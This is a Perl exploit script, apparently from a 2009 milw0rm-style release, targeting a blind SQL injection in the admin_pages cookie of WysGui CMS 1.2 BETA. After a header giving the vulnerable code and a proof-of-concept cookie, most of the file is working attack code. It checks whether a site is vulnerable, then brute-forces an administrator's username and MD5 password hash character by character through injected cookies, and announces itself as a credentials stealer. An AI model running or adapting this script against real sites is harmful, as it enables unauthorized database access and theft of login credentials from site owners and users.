#!/usr/bin/perl # #--------------------------------------------------------- # WysGui CMS 1.2 BETA(cookie) BSQL #--------------------------------------------------------- # CMS INFORMATION: # #-->WEB: http://wysgui.com/ #-->DOWNLOAD: http://sourceforge.net/projects/wysgui/ #-->DEMO: http://wysgui.com/demo/ #-->CATEGORY: CMS / Portals #-->DESCRIPTION: WysGui comes from two technical words: WYSIWYG and GUI.WYSIWYG, # (pronounced, Wizzy-Wig),tands for What You See Is What You Get... # # CMS VULNERABILITY: # #-->TESTED ON: firefox 3 #-->DORK: N/A #-->CATEGORY: BLIND SQL INJECTION/ PERL EXPLOIT #-->AFFECT VERSION: LAST = 1.2 BETA (Maybe <= ?) #-->Discovered Bug date: 2009-04-20 #-->Reported Bug date: 2009-04-20 #-->Fixed bug date: Not fixed #-->Info patch (????): Not fixed #-->Author: YEnH4ckEr #-->mail: y3nh4ck3r[at]gmail[dot]com #-->WEB/BLOG: N/A #-->COMMENT: A mi novia Marijose...hermano,cunailla, padres (y amigos xD) por su apoyo. #---------------------------------------------------------------------------------------- # #----------- #BUG FILE: #----------- # #Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php # #It contents(¿?...LooooL) # # # #Then... # #Path --> [HOME_PATH]/modules/body_mods/admin_panel/settings.php # #It contents: # ... # # if( $i>1 ){ # $order.= ' `page` = "'.$admin_pages[$i].'",'; # } # ... # # $allPages_select = 'SELECT * FROM `pagedata` # WHERE '.$where.'<--------VULN--------| # ORDER BY '.$order; # $allPages_query = mysql_query($allPages_select) or die($allPages_select); # while($allPages_row = mysql_fetch_array($allPages_query)) # {...} #------------ #CONDITIONS: #------------ # #**gpc_magic_quotes=off # #--------------------------------------- #PROOF OF CONCEPT (BLIND SQL INJECTION): #--------------------------------------- # #COOKIE --> admin_pages=about" AND 1=1 /* # #Return: about.php # #******************************************************************* # ESPECIAL THANKS TO: Str0ke and every H4ck3r(all who do milw0rm)! #******************************************************************* #------------------------------------------------------------------- #******************************************************************* # GREETZ TO: JosS and all SPANISH Hack3Rs community! #******************************************************************* # #-------------------EOF---------------------------------->>>ENJOY IT! # use LWP::UserAgent; use HTTP::Request; #Subroutines sub lw { my $SO = $^O; my $linux = ""; if (index(lc($SO),"win")!=-1){ $linux="0"; }else{ $linux="1"; } if($linux){ system("clear"); } else{ system("cls"); system ("title WysGui CMS 1.2 BETA (Insecure Cookie Handling) BLIND SQL Injection Exploit"); system ("color 02"); } } sub request { my $userag = LWP::UserAgent->new; $userag -> agent('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)'); my $request = HTTP::Request -> new(GET => $_[1]); $request->header(cookie => $_[0]); my $outcode= $userag->request($request)->as_string; return $outcode; } sub helper { print "\n\t[XxX] WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit\n"; print "\t[XxX] USAGE MODE: [XxX]\n"; print "\t[XxX] perl $0 [HOST] [PATH] [id]\n"; print "\t[XxX] [HOST]: Web.\n"; print "\t[XxX] [PATH]: Home Path.\n"; print "\t[XxX] [id]: Id user. Default: 1 (**optional)\n"; print "\t[XxX] Example: perl $0 'www.example.es' 'wysgui_1.2' '1'\n"; } sub lengthuser{ #First, user length... $exit=0; $i=0; while($exit==0){ my $insec_cookie='admin_pages=about" AND (SELECT length(user) from users WHERE ID='.$_[1].')='.$i++.' /*'; $output=&request($insec_cookie,$_[0]); if ( $output =~ (/about.ico/)) { $exit=1; } } #Save column length $lengthuser=$i-1; print "\t-----------------------------------------------------------------\n"; print "\tUser Length catched!\n"; print "\tUser Length: ".$lengthuser."\n"; print "\tBruteforcing values...\n"; print "\t-----------------------------------------------------------------\n"; return $lengthuser; } sub bruteforcing { #Getting datas $j=1; $i=48; while(($j<=$_[2]) && ($i<=126)){ my $insec_cookie='admin_pages=about" AND ascii(substring((SELECT '.$_[3].' FROM users WHERE ID='.$_[1].') FROM '.$j.' FOR 1))='.$i.' /*'; $output=&request($insec_cookie,$_[0]); if ( $output =~ (/about.ico/)) { $values=$values.chr($i); $j++; $i=47; } if($i==57) { $i=96; } #new char $i++; } #Error if(($i>127) || ($j>$_[2])){ if(!$values){ print "\t-----------------------------------------------------------------\n"; print "\tEXPLOIT FAILED!\n"; print "\tFatal error: Datas doesn't find!\n"; print "\tCause: Maybe you have to include more characters on bruteforcing...\n"; print "\t-----------------------------------------------------------------\n"; exit(1); } } return $values; } #Main &lw; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; print "\t\t## WysGui CMS 1.2 BETA - BLIND SQL Injection Exploit ##\n\n"; print "\t\t## ++Conditions: Need magic_quotes=off ##\n\n"; print "\t\t## Author: Y3nh4ck3r ##\n\n"; print "\t\t## Contact:y3nh4ck3r[at]gmail[dot]com ##\n\n"; print "\t\t## Proud to be Spanish! ##\n\n"; print "\t\t#########################################################\n\n"; print "\t\t#########################################################\n\n"; #Init variables my $host=$ARGV[0]; my $path=$ARGV[1]; #Build the uri my $finalhost="http://".$host."/".$path."/admin.php"; #Check all variables needed $numArgs = $#ARGV + 1; if($numArgs<=1) { &helper; exit(1); } #Id-user is optional.Default:1 if(!$ARGV[2]){ $idhacked="1"; }else{ $idhacked=$ARGV[2]; } #Testing blind sql injection my $finalrequest = $finalhost; #Test blind sql injection my $insec_cookie='admin_pages=about" AND 1=1 /*'; #injected cookie $output=&request($insec_cookie,$finalrequest); if ( $output =~ (/about.ico/)) { print "\t-----------------------------------------------------------------\n"; print "\tWeb is vulnerable!\n"; print "\tTested Blind SQL Injection.\n"; print "\tChecking id user...\n"; print "\t-----------------------------------------------------------------\n"; }else{ print "\t-----------------------------------------------------------------\n"; print "\tThis Web is not vulnerable!\n"; print "\tMaybe patched or gpc_magic_quotes=off\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; exit(1); } #Test if user exists my $insec_cookie='admin_pages=about" AND (SELECT COUNT(*) from users WHERE ID='.$idhacked.') /*'; #injected cookie $output=&request($insec_cookie,$finalrequest); if ( $output =~ (/about.ico/)) { print "\t-----------------------------------------------------------------\n"; print "\tOK...The user exists!\n"; print "\tStarting exploit...\n"; print "\t-----------------------------------------------------------------\n"; print "\tWait several minutes...\n"; print "\t-----------------------------------------------------------------\n"; }else{ print "\t-----------------------------------------------------------------\n"; print "\tUser doesn't exists!\n"; print "\tEXPLOIT FAILED!\n"; print "\t-----------------------------------------------------------------\n"; exit(1); } #Bruteforcing user... $length_user=&lengthuser($finalrequest,$idhacked); $user=&bruteforcing($finalrequest,$idhacked,$length_user,'user'); print "\t-----------------------------------------------------------------\n"; print "\tGot user!\n"; print "\tBruteforcing password hash (md5)...\n"; print "\t-----------------------------------------------------------------\n"; $passhash=&bruteforcing($finalrequest,$idhacked,32,'pass'); #it isn't needed length print "\n\t\t*************************************************\n"; print "\t\t**** EXPLOIT EXECUTED (CREDENTIALS STEALER) ****\n"; print "\t\t*************************************************\n\n"; print "\t\tUser-id:".$idhacked."\n"; print "\t\tUser:".$user."\n"; print "\t\tUser-password(hash):".$passhash."\n\n"; print "\n\t\t<<----------------------FINISH!-------------------->>\n\n"; print "\t\t<<---------------Thanks to: y3hn4ck3r-------------->>\n\n"; print "\t\t<<------------------------EOF---------------------->>\n\n"; exit(1); #Ok...all job done